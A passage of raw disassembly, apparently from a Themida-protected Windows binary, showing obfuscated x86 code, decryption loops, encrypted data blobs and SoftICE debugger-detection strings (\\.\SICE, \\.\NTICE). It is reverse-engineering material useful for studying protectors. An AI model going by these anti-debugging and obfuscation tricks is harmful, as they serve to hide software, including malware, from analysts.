loc_5746C9:				; CODE XREF: Themida_:00573602j
		pop	ebp
		sub	eax, ebx
		pop	ebx
		push	2042h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	ecx
		jmp	loc_5652F0
; ---------------------------------------------------------------------------


loc_5746E9:				; CODE XREF: Themida_:0057120Ej
		and	eax, 4FEE6C1Ah
		add	eax, 15CC0850h
		dec	eax
		shr	eax, 4
		add	eax, 100CE2B4h
		mov	ecx, eax
		pop	eax
		jmp	loc_56188A
; ---------------------------------------------------------------------------


loc_574704:				; CODE XREF: Themida_:00570E0Fj
		or	edx, 7B9B1B12h
		not	edx
		add	edx, 7FDF7BE1h
		jmp	loc_572717
; ---------------------------------------------------------------------------


loc_574717:				; CODE XREF: Themida_:0057071Aj
		add	ch, dh
		pop	edx
		add	ch, al
		push	eax
		jmp	loc_5673A0
; ---------------------------------------------------------------------------


loc_574722:				; CODE XREF: Themida_:0057371Cj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56F679
; ---------------------------------------------------------------------------


loc_57472C:				; CODE XREF: Themida_:00567516j
		pop	edi
		add	edi, 45C2374Fh
		sub	edi, ecx
		push	ecx
		mov	ecx, 45C2374Fh
		jmp	loc_560EBA
; ---------------------------------------------------------------------------


loc_574740:				; CODE XREF: Themida_:00562EBCj
		add	al, 1Dh
		jmp	loc_56C62A
; ---------------------------------------------------------------------------


loc_574747:				; CODE XREF: Themida_:0056FB26j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561CC1
; ---------------------------------------------------------------------------


loc_574755:				; CODE XREF: Themida_:00570295j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_56330E
; ---------------------------------------------------------------------------


loc_574763:				; CODE XREF: Themida_:00571E11j
		push	eax
		not	dword ptr [esp]
		jmp	loc_56D0BD
; ---------------------------------------------------------------------------


loc_57476C:				; CODE XREF: Themida_:00560B3Cj
		push	edi
		push	ecx
		mov	ecx, 59C23F4h
		mov	edi, ecx
		jmp	loc_5666F1
; ---------------------------------------------------------------------------


loc_57477A:				; CODE XREF: Themida_:00560CF8j
		add	esp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_5714A4
; ---------------------------------------------------------------------------
		push	dx
		jmp	loc_569767
; ---------------------------------------------------------------------------


loc_574793:				; CODE XREF: Themida_:0057116Bj
		xor	cl, 9Ah
		mov	dh, cl
		pop	ecx
		shl	dh, 1
		inc	dh
		push	eax
		jmp	loc_562403
; ---------------------------------------------------------------------------


loc_5747A3:				; CODE XREF: Themida_:0056E649j
		shr	eax, 5
		push	edi
		mov	edi, 7F0F3360h
		or	eax, edi
		pop	edi
		or	eax, 12C40CDBh
		jmp	loc_5660E0
; ---------------------------------------------------------------------------


loc_5747B9:				; CODE XREF: Themida_:0056A93Aj
		push	esi
		jmp	loc_5685ED
; ---------------------------------------------------------------------------


loc_5747BF:				; CODE XREF: Themida_:00552AA1j
		call	near ptr sub_5747D8
		mov	ecx, 40C05436h
		sub	dl, dl
		and	ecx, [ecx-4FDC94F0h]
		arpl	[esp], di
		lodsb
		test	al, 0F1h
		push	edi

; =============== S U B	R O U T	I N E =======================================



sub_5747D8	proc far		; CODE XREF: Themida_:loc_5747BFp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 00552D86 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 005533C5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00553456 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00553E28 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00554473 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554767 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554FC1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005557E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555A97 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00555B8F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00558918 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00558CE2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559278 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00559E51 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A10C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A1EE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055A9D3 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055AD44 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0055C495 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055C90F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D561 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055DED9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055E4CB SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055EABF SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055EF39 SIZE 00000007 BYTES

		jnp	loc_5747E1
		movsx	ebx, dx


loc_5747E1:				; CODE XREF: sub_5747D8j
		pop	ecx
		movsx	ebx, cx
		add	ecx, 712Bh
		mov	esi, ebx
		mov	eax, 1C2Eh
		mov	bx, ax


loc_5747F5:				; CODE XREF: sub_5747D8+59j
		mov	edi, [ecx]
		mov	dx, 0EFE5h
		sub	edi, 16770BB2h
		movzx	esi, ax
		xor	edi, 3345F2FDh
		mov	bl, al
		sub	edi, 50C43E2Eh
		movzx	esi, ax
		push	edi
		add	si, 47F9h
		pop	dword ptr [ecx]
		jmp	loc_574829
; ---------------------------------------------------------------------------
		dw 7A8Ch
		dd 0A7C0D1C7h
		db 0E2h
; ---------------------------------------------------------------------------


loc_574829:				; CODE XREF: sub_5747D8+45j
		sub	ecx, 2
		mov	edx, edi
		dec	ecx
		dec	ecx
		dec	eax
		jnz	loc_5747F5
		mov	si, 0DA7Dh
		jmp	loc_574888
; ---------------------------------------------------------------------------
		dd 14F1663Fh, 52455355h, 642E3233h, 41006C6Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch
		dd 60009h, 20008h, 33000Eh, 33Bh, 4 dup(0)
; ---------------------------------------------------------------------------


loc_574888:				; CODE XREF: sub_5747D8+63j
		jmp	loc_575110
; ---------------------------------------------------------------------------
		push	6119AB3h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6119B1Ch
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6119C29h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6119D7Ch
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6119DF4h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6119EF5h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6119F52h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		pop	esp
		add	eax, 0ABEA0D22h
		mov	eax, 4BD680A3h
		adc	eax, ss:[ebx-20h]
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 3F6075D0h, 0E4471BADh, 74D7ACCFh, 81B3C5Fh, 9FBAD0F3h
		dd 5D0EBB8Ah, 66F2B39Ah, 87859E95h, 0C912871Fh,	0FEAAD7A3h
		dd 5A87BCB0h, 0B4C45A9h, 29DA176Bh, 66F513CEh, 0A288B469h
		dd 0CC672D3Ch, 33E8AC2Dh, 7006DC7Dh, 9CD8AECEh,	0F1284375h
		dd 6632B391h, 0C1729F33h, 8B362B15h, 8CAFC4F7h,	0AD92470Bh
		dd 7C73C400h, 0A695201Ah, 92405925h, 5DFFB465h,	83389131h
		dd 0AEE61956h, 790F32B3h, 0D0A6C9DEh, 222BCC7Dh, 4F048D2Fh
		dd 0A9650F1Ah, 0B89D51CAh, 6D05Bh, 0D8730600h, 6AF5A0C3h
		dd 0FD603255h, 8E91C5E8h, 27025679h, 0CD5FF112h, 5A7D92B5h
		dd 0EA0D2205h, 7EA1B6A9h, 69384DE8h, 0B3EC0BBCh, 4C4366F2h
		dd 1A3D5333h, 22B0E935h, 0D73144F5h, 0B1666B15h, 1B065184h
		dd 0ADB0E306h, 0ABDE1BC8h, 0DC9176E9h, 0F2B4BC3Bh, 84D07366h
		dd 0C0E36499h, 8848FAAh, 8880E1Ch, 667C623h, 1A6F0000h
		dd 4E072A3Fh, 0F99BBED3h, 662E5166h, 0AFC3E6FBh, 0C456778Ch
		dd 0E4F95C34h, 7A8FAAC1h, 0C213C57h, 0A3B893E9h, 817627D4h
		dd 0B666F2B3h, 3D53A6BFh, 0FC92351Ah, 3EEF2C59h, 6D044DB9h
		dd 6348C97Eh, 5BA2C116h, 4C0FF1BDh, 5FAEh, 163E7100h, 53818A0Bh
		dd 8671223Dh, 0B16D044Dh, 5D9AC7FCh, 44E4BACh, 0AE2FE46Dh
		dd 22396C99h, 0EC6D2207h, 4E26D5E3h, 0DCB26D04h, 0FB376479h
		dd 0F4E13730h, 0CB971824h, 26D704CEh, 6B0AB44Eh, 0A5B8DA7Dh
		dd 0A9D60BC0h, 1542DD76h, 53D027D8h, 0B26766F4h, 5EF91C31h
		dd 0BA81DEC3h, 0E8000005h, 351A3D53h, 0F522B0E9h, 0B541644h
		dd 97AC616Bh, 11C376Ah,	24075D80h, 7C56430Fh, 57D6124Fh
		dd 238BFE17h, 1F57F879h, 1665064Dh, 573C1F73h, 3DFEF9AAh
		dd 84396CE6h, 0BAED1A4Fh, 70C39899h, 0E63E38BFh, 154AFF6Ch
		dd 31467B30h, 0F5DA450Eh, 0E193C52h, 8E019508h,	5A46A388h
		dd 7C000005h, 0A2D42E5h, 0A0C3D84Bh, 33566BF6h,	0C8EB0063h
		dd 5F8095B0h, 4273BCDh,	94B7CCEFh, 283B5C7Fh, 0BF9AF013h
		dd 7D2EDBAAh, 66F2B27Ah, 53A5BEB5h, 0F3562C3Dh,	0B79C87D0h
		dd 6DA0CD02h, 9E53382Bh, 0FF95381Dh, 93E196Eh, 4BD68124h
		dd 8E91C366h, 2F3C11A9h, 1F6CC18Eh, 44BAC52h, 8E691A6Dh
		dd 0A96D044Bh, 47D2BFF4h, 284C0FF3h, 0FFFFFEF5h, 1A3D530Fh
		dd 22B0E935h, 4FD244F5h, 1346B0Bh, 8549CA55h, 0AAEFBBD0h
		dd 46BFFB28h, 0FEC3CFD3h, 94631441h, 9B66F459h,	873865E6h
		dd 64FB7B17h, 4F8CB96Eh, 379599Eh, 0A829DE6Dh, 7958A2C3h
		dd 7FC46D03h, 0EEA6D9E0h, 0F9E8267Ch, 3065A6A7h, 2815964Bh
		dd 4C0FEDF0h, 21D396Ch,	28A9B4DFh, 1850Ch, 1F87F300h, 0BF38E926h
		dd 786D044Dh, 237642C3h, 1DD182AFh, 586B0B6Ah, 124376A3h
		dd 48752A0Fh, 0F52A6097h, 0A122D766h, 2D984AEBh, 0B2E7AECFh
		dd 7AB6F320h, 74C54F5Eh, 170D1910h, 76CED898h, 0B71FC041h
		dd 0FE8B35E5h, 81186449h, 40732451h, 0F7913103h, 86D91542h
		dd 0D2178FB8h, 0B4E71495h, 1B4E7BDEh, 4E03E87Bh, 588BB8CDh
		dd 7EA1223Dh, 36424DE8h, 0B251CAAEh, 40770CDh, 0BACF0000h
		dd 2E678A9Fh, 59FB1E33h, 0C68EB1C6h, 4F23465Bh,	24B6D7ECh
		dd 4459FC94h, 0DAEF4A21h, 6C819CB7h, 3183349h, 21D68734h
		dd 1666F2B1h, 0EFAA061Fh, 8805B6E3h, 666B15D6h,	14F95C33h
		dd 651ADE5Fh, 0E1520538h, 16CBB08Bh, 87BC9FF3h,	7C124572h
		dd 0BE3FF4D9h, 8065F89Bh, 12E596D3h, 1D66F2B5h,	6045D87Ah
		dd 0D2F576ABh, 9C8E99BCh, 0F4880E1Ch, 38FB20Fh,	32470000h
		dd 0B6DF0217h, 217396ABh, 4E06293Eh, 0C79BBED3h, 9C2E4F64h
		dd 0BCD1740Ch, 5267C299h, 0E4F9642Fh, 7B90ABC1h, 0A94EFFACh
		dd 8E66F2B0h, 3D537E97h, 0FC92351Ah, 52372A6Bh,	38BF709Dh
		dd 0FF6D044Eh, 8D30154Ah, 0CB6E53F6h, 0EB19689h, 40F5DA45h
		dd 4495F2C7h, 7C452277h, 4600940h, 0D758CCAEh, 3DDC836h
		dd 0F8210E6Dh, 734C0F89h, 0FFFFFD29h, 233D535Ah, 0B48847C9h
		dd 0D0FD3238h, 0E566F99Dh, 0EDE5B400h, 0A8230FC0h, 9D526B0Ah
		dd 2C877F88h, 8CB91980h, 0B6A13DBh, 68954A6Bh, 2A7D7A2Bh
		dd 0FDB266F5h, 7D1CF0D1h, 3CBD1257h, 9530E586h,	7A1FBF03h
		dd 52EF2B58h, 8136DB7Ah, 7F305DDEh, 0BCF31C57h,	5704E99Eh
		dd 238E691Ah, 0F4A9C4EDh, 0E0F2A773h, 49B102B3h, 31E6C2F4h
		dd 0A0BBD104h, 4012688Bh, 4503A30Ch, 0E596C36Ah, 0BEEB8D12h
		dd 2833681Dh, 2007443Ch, 8E429F84h, 48000002h, 0DE011631h
		dd 7497ACB7h, 72A3F22h,	9CBFD44Fh, 2B4C61C4h, 0D8730799h
		dd 70CBA0C3h, 41F385Bh,	93B6CCEFh, 5102AF7Eh, 66F2AFA6h
		dd 0AA819A91h, 5B6E3EFh, 6B15D68Ah, 0B0E310C5h,	5CC78EE7h
		dd 608DC277h, 75F6692Dh, 71A3D60h, 4EE97F22h, 0E1C1543h
		dd 53B09588h, 231h, 5469CCA5h, 0E4F96431h, 778C97C1h, 81D0054h
		dd 95AA8DE5h, 3E52E274h, 8CE3061Bh, 267194A9h, 6D03263Bh
		dd 39E6B5CAh, 0F2AF6F88h, 0B8D1C866h, 0B6E3EFAAh, 240D4679h
		dd 8BB7EC4Fh, 0ADCE223Fh, 993ABB35h, 6B1561F6h,	5C8FBC71h
		dd 420E2306h, 9B4C7959h, 66F26266h, 0A04328DDh,	7E886DC8h
		dd 0E714374Bh, 9B80E3B4h, 845065E6h, 0DD8EBB17h, 66F26222h
		dd 0E083681Dh, 4582AF8Ah, 0F2626394h, 5129CC66h, 275C11F6h
		dd 61AE49FAh, 0D48966F2h, 31646E53h, 3E96095Bh,	7DB8CF1Fh
		dd 7A103348h, 89BE99F1h, 0FE51295Ch, 0F337AA4Dh, 9BD08566h
		dd 24C6351Ah, 38B7D4A9h, 0C5F20722h, 3820D788h,	621766F3h
		dd 9FA8BEE1h, 2AFB77C9h, 0BC4C0E22h, 0B8EDA287h, 223D588Bh
		dd 4119BCA1h, 76BB01E6h, 0E293D0E9h, 66F2AB15h,	0AAF700B1h
		dd 8B4066F2h, 6E9112C7h, 0FB283D18h, 0AAEA0DBEh, 904566F2h
		dd 0B194EC0Fh, 283A5184h, 0D6CA1343h, 9E1F545Eh, 2DA04AB9h
		dd 172FB4F0h, 1841FAFEh, 36B5D297h, 0F1431922h,	0D0676BCEh
		dd 361B5037h, 14374C81h, 0B497EB7Ch, 0E51ACFh, 42273A5Dh
		dd 0D8177449h, 819CB780h, 0A6E21F4Ch, 80392572h, 94630475h
		dd 9B66F256h, 9093C3E6h, 9ACDFA0Fh, 0C1E465F8h,	7BCCA2ABh
		dd 2A0F44E7h, 3A5B4075h, 0CF6531FFh, 0EDDAA7Fh,	74B0DD78h
		dd 0CD1619F7h, 0B5CA4B99h, 7459FC92h, 0B99EB9D1h, 0FFE47F16h
		dd 3F24075Ch, 6D7B4F9h,	0A1F5B18h, 0DADAC3FAh, 76429AAh
		dd 8297B2C8h, 492E095Fh, 9369CFDh, 0A89C3E58h, 2F44F9ACh
		dd 6F9C3663h, 0A7E4ABBEh, 0E3BF0B2h, 26A7BADBh,	6DC89E41h
		dd 0FC5F3558h, 16E192CFh, 21AE87E4h, 0E506EB6Ch, 0C1682062h
		dd 7459C48Eh, 0B79C87D1h, 3B88D7ACh, 0DFCD0225h, 0D29BEF22h
		dd 0B59ABDh, 0E6854ACBh, 92C6A3DFh, 2D59C490h, 9718458Ch
		dd 263B1E74h, 0E5CA6D03h, 2A0F1242h, 0C00F5C31h, 577A8FAAh
		dd 94412601h, 44293461h, 0EFD0638Fh, 0EE4FE81h,	3B08Dh
		dd 0D7170000h, 1B3E53CEh, 5AFD9336h, 9E81D275h,	0E64116B9h
		dd 2F0A5E01h, 78D3A74Ah, 0B9A4F093h, 0FC6731D4h, 3E217417h
		dd 8950F759h, 2FBB53E0h, 0F77D6746h, 6EE381D3h,	81279014h
		dd 3F15A1CBh, 0DDEB8108h, 10ABF15h, 0E8835BD8h,	24048704h
		dd 4EC835Ch, 68241489h,	261Dh, 68241C89h, 6119A09h, 8124148Bh
		dd 4C4h, 21346800h, 24890000h, 24048324h, 0B9515B04h, 8
		dd 514DE981h, 0D9013DE2h, 514DC181h, 11893DE2h,	241C8B59h
		dd 5E08950h, 4
		dd 405h, 24048700h, 24148B5Ch, 5E08950h, 4, 8704C083h
		dd 0E95C2404h, 0FFFDDC82h, 1777E9CDh, 3C117408h, 8C41B332h
; ---------------------------------------------------------------------------


loc_575110:				; CODE XREF: sub_5747D8:loc_574888j
		mov	eax, 611A1A8h
		add	eax, ebp
		jmp	eax
sub_5747D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 33h,	58h, 0CCh
		dd 57D52710h, 1380CE6Ch, 1DC3206Ch, 0B665FC2Ah,	8468C565h
		dd 7EBAD245h, 8CE947h, 83600000h, 0F1E5DBDh, 840F0006h
		dd 5, 77E9h, 80006A00h,	850F303Eh, 8, 0E946006Ah, 35h
		dd 0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh
		dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h
		dd 2E94640h, 6A000000h,	203E8000h, 12850Fh, 7E800000h
		dd 850F0001h, 8, 0E908C483h, 14h, 1C09858Dh, 5090060Fh
		dd 96509690h, 95FF006Ah, 60F13A1h, 85C6C361h, 60F24FDh
		dd 4E84Dh, 76A80000h, 8B50A435h, 8B042444h, 24448900h
		dd 0B5FF5804h, 60F1A61h, 3AB8858Dh, 0D0FF060Fh,	13A18589h
		dd 14E8060Fh, 95000000h, 2C52CF0h, 5FB33035h, 0B7BE9E5Bh
		dd 0D7B5193Ah, 66A4822Ch, 5AD7AABEh, 67F3C281h,	81660000h
		dd 0B8AA80F1h, 0
; ---------------------------------------------------------------------------
		or	ch, 1Ah


loc_575227:				; CODE XREF: Themida_:00575272j
		mov	edi, [edx+eax]
		mov	ebx, 55DC8A3Ah
		sub	edi, 4A54AE4Bh
		stc
		sub	edi, 64DC714Bh
		jbe	loc_575249
		js	loc_575249
		clc


loc_575249:				; CODE XREF: Themida_:0057523Cj
					; Themida_:00575242j
		add	edi, 56C6DAE0h
		mov	[ebp+60F013Dh],	ecx
		mov	[edx+eax], edi
		mov	ebx, 52DC6CE2h
		mov	esi, [ebp+60F0D31h]
		sub	eax, 4
		mov	[ebp+60F1E6Dh],	edx
		cmp	eax, 0FFFF988Ch
		jnz	loc_575227
		mov	esi, [ebp+60F00B9h]
		jmp	short loc_57529E
; ---------------------------------------------------------------------------
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh
		db 45h,	0
; ---------------------------------------------------------------------------


loc_57529E:				; CODE XREF: Themida_:0057527Ej
		mov	eax, eax
		or	ecx, [ebp+60F10CDh]
		cmp	dword ptr [ebp+60F1891h], 0
		jnz	short loc_5752B8
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_5752D1


loc_5752B8:				; CODE XREF: Themida_:005752ADj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611AFB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_5752D1:				; CODE XREF: Themida_:005752B6j
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_5752F1
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611ACA7h]
		call	ebx
		pop	ebx
		pop	eax


loc_5752F1:				; CODE XREF: Themida_:005752D8j
		clc
		sub	[ebp+60F0991h],	eax
		mov	eax, eax
		jge	$+6
		mov	byte ptr [ebp+60F24FDh], 43h
		xor	[ebp+60F32E1h],	ebx
		call	sub_575316
		cld
		outsb
; ---------------------------------------------------------------------------
		db 8Eh,	0BCh

; =============== S U B	R O U T	I N E =======================================



sub_575316	proc near		; CODE XREF: Themida_:0057530Dp
		jbe	$+6
		push	eax
		call	near ptr loc_575328+3
		mov	ch, 34h
		xchg	eax, ebp
		xlat
		mov	word ptr [ecx],	ds


loc_575328:				; CODE XREF: sub_575316+7p
		mov	dword ptr [esi+5ECF8A3Bh], 424448Bh
sub_575316	endp ; sp-analysis failed

		mov	edx, edi
		mov	eax, [eax]
		mov	dx, si
		mov	[esp+4], eax
		mov	esi, edx
		pop	eax
		push	0
		push	edi
		call	sub_57534B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57534B	proc near		; CODE XREF: Themida_:00575343p

arg_4		= dword	ptr  8

		pop	edi


loc_57534C:				; CODE XREF: Themida_:005753B8j
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_57534B	endp

; ---------------------------------------------------------------------------
		and	[ebx+0F3255BDh], cl
		push	es
		push	dword ptr [ebp+60F1CE5h]
		mov	edx, 0D16020Eh
		lea	eax, [ebp+60F3AB8h]
		movsx	edx, cx
		call	eax
		mov	ch, 4
		call	near ptr loc_575383+2
		dec	ebp
		xchg	eax, edi
		dec	edi
		cmc


loc_575383:				; CODE XREF: Themida_:0057537Ap
		adc	eax, 0D5BD291Dh
		pop	es
		clts
		pop	ecx
		nop
		pusha
		mov	edi, 1E4100E6h
		mov	si, di
		popa
		push	eax
		jmp	loc_5753A4
; ---------------------------------------------------------------------------
		db 1, 64h, 53h
		dd 0D79868AEh
; ---------------------------------------------------------------------------


loc_5753A4:				; CODE XREF: Themida_:00575398j
		nop
		or	edi, [ebp+60F1321h]
		push	0
		jmp	loc_5753BB
; ---------------------------------------------------------------------------
		dec	edi
		or	[edi+eax*4], bl
		mov	cl, [edx]
		loopne	loc_57534C
		dec	edx


loc_5753BB:				; CODE XREF: Themida_:005753ADj
		push	0E42F6597h
		add	dword ptr [esp], 1BD09AE9h
		push	0
		push	esi
		call	sub_5753D2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5753D2	proc near		; CODE XREF: Themida_:005753CAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5753D2	endp

; ---------------------------------------------------------------------------
		dw 38AEh
; ---------------------------------------------------------------------------
		inc	edi
		mov	cl, 0F3h
		db	67h
		xchg	eax, edi
		or	[esi-7Fh], esp
		mul	dword ptr [ecx-2C409994h]
		icebp
		push	3
		or	esi, 77D84FF9h
		push	0
		mov	[ebp+60F32B5h],	ecx
		push	3
		push	0
		push	edi
		call	sub_575410
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575410	proc near		; CODE XREF: Themida_:00575408p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_575410	endp

; ---------------------------------------------------------------------------
		add	eax, 0EAF16588h
		pop	ds
		nop
		nop
		sti
		mov	[ebp+60F1259h],	ebx
		push	7CC0CAF4h
		pusha
		ja	loc_575441
		jno	$+6


loc_575441:				; CODE XREF: Themida_:00575435j
		mov	edi, 2CE0FC64h
		popa
		add	dword ptr [esp], 433F350Ch
		mov	[ebp+60F1CF1h],	eax
		cmc
		lea	ebx, [ebp+611A3B6h]
		mov	ecx, eax
		push	eax
		jbe	loc_57546C
		jnb	loc_57546C
		mov	dh, 38h


loc_57546C:				; CODE XREF: Themida_:0057545Ej
					; Themida_:00575464j
		mov	[esp], ebx
		call	near ptr loc_575478+1
		sbb	bh, [eax]
		xchg	eax, ebx
		pop	ebx


loc_575478:				; CODE XREF: Themida_:0057546Fp
		and	cl, [ecx]
		test	[ecx], ecx
		adc	al, 0Fh
		push	es
		pop	esi
		call	eax


loc_575482:				; CODE XREF: Themida_:005754F3j
		mov	dx, 0B5BDh
		inc	eax
		jnz	loc_57573C
		xor	edx, [ebp+60F1811h]
		pop	eax
		mov	di, 0CDD5h
		nop
		jle	$+6
		push	eax
		jmp	loc_5754B3
; ---------------------------------------------------------------------------
		db 50h,	92h, 9Ah
; ---------------------------------------------------------------------------
		adc	edx, ebp
		aas
		test	dl, ah
		sbb	[ecx+75h], dh
		push	esi
		xor	al, 0FCh


loc_5754B3:				; CODE XREF: Themida_:005754A0j
		nop
		mov	[ebp+60F15E5h],	esi
		mov	[ebp+60F247Dh],	edi
		push	0
		mov	edx, 605E29E5h
		push	0B6279DACh
		jmp	loc_5754D6
; ---------------------------------------------------------------------------
		align 2
		sti
		dec	ebx
		mov	al, 3Bh


loc_5754D6:				; CODE XREF: Themida_:005754CCj
		add	dword ptr [esp], 49D862D4h
		jmp	loc_5754E9
; ---------------------------------------------------------------------------
		dw 6296h
		dd 0E05ECA82h
		db 0E6h
; ---------------------------------------------------------------------------


loc_5754E9:				; CODE XREF: Themida_:005754DDj
		push	3
		call	sub_575504
		scasd
		cmpsb
		scasd
		ja	short loc_575482
		push	ebp
		into
		out	0A7h, al	; Interrupt Controller #2, 8259A
		mov	eax, 2F600648h
		push	eax
		mov	eax, 7D24D3FBh

; =============== S U B	R O U T	I N E =======================================



sub_575504	proc near		; CODE XREF: Themida_:005754EBp
		push	ebx
		mov	cl, 0D7h
		pop	esi
		pop	edx
		push	0
		push	0
		push	ebp
		call	sub_575516
		and	[ebp-3Dh], bl
sub_575504	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_575516	proc near		; CODE XREF: sub_575504+Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_575516	endp

; ---------------------------------------------------------------------------
		dw 0C102h
		dd 0B70F449Eh, 9036AF8h, 0F279D8Dh, 2C5A6806h, 6060F623h
		dd 8B665956h, 8C0F61D9h, 6, 310F5250h, 8161585Ah, 2C5A2434h
		dd 0DF813623h, 17397789h, 0A3BF9D8Dh, 8D890611h, 60F01D1h
		dd 5E850h, 0D3410000h, 0B94605CAh, 1DF79A8Bh, 241C895Fh
		dd 0EE9D0FFh, 0E1000000h, 2AB0F418h, 34C72722h,	6B49077Fh
		dd 850F406Ah, 1A4h, 3800F57h, 66000000h, 585AF18Bh, 168D8589h
		dd 6690060Fh, 0E950D08Bh, 9, 0F16D6FA4h, 0FA428362h, 8E0F908Ch
		dd 6, 1EC5BD8Bh, 6A060Fh, 4E8F28Bh, 80000000h, 66000000h
		dd 5050FB8Bh, 4CEBA52h,	310F7B45h, 0EE8h, 51AB9700h, 2F2DA4B2h
		dd 8B68E787h, 60440D97h, 585A5961h, 424448Bh, 1BBCAABFh
		dd 89008B3Ah, 50042444h, 11E852h, 0F62B0000h, 0DE798FDCh
		dd 89A5C16Bh, 0E2585E32h, 0FB16EF3h, 89h, 310F5A00h, 5AFE8B66h
		dd 6A5858h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 79635BC3h, 0CE8BD54Ah, 6AF18B66h,	14800F03h
		dd 60000000h, 2FE58D8Bh, 7E9060Fh, 0A5000000h, 0D457FBACh
		dd 6A615DCDh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 606B7176h, 119D8D8Bh, 0E681060Fh
		dd 12FAE67Eh, 6A036A61h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0DF53C356h,	0C3B3F489h
		dd 0EE7123FAh, 9758E568h, 0C78A608Eh, 81613DB5h, 0A71B2404h
		dd 0BF663168h, 9D8D167Eh, 611A3CAh, 8E9h, 77519600h, 252DEA8Fh
		dd 84B2507Bh, 6A241C89h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0ECBBC351h,	0FFFF4B98h
		dd 56BF66D0h, 850F401Eh, 18h, 2CF18589h, 8C0F060Fh, 0
; ---------------------------------------------------------------------------
		pop	eax
		mov	dh, ah
		jmp	loc_57588C
; ---------------------------------------------------------------------------
		mov	dx, 2DE7h


loc_57573C:				; CODE XREF: Themida_:00575487j
		mov	ebx, eax
		push	0
		push	ebx
		call	sub_575749
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575749	proc near		; CODE XREF: Themida_:00575741p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_575749	endp

; ---------------------------------------------------------------------------
		db 87h,	1, 0F7h
		dd 0CA14398Ch, 0E97A7E30h, 0Bh,	0E2B8F103h, 61CFC593h
		dd 4B8D6F44h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	15C35242h, 79899A9Ah, 33588500h, 0F2AF5BDh, 0FD85C606h
		dd 43060F24h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
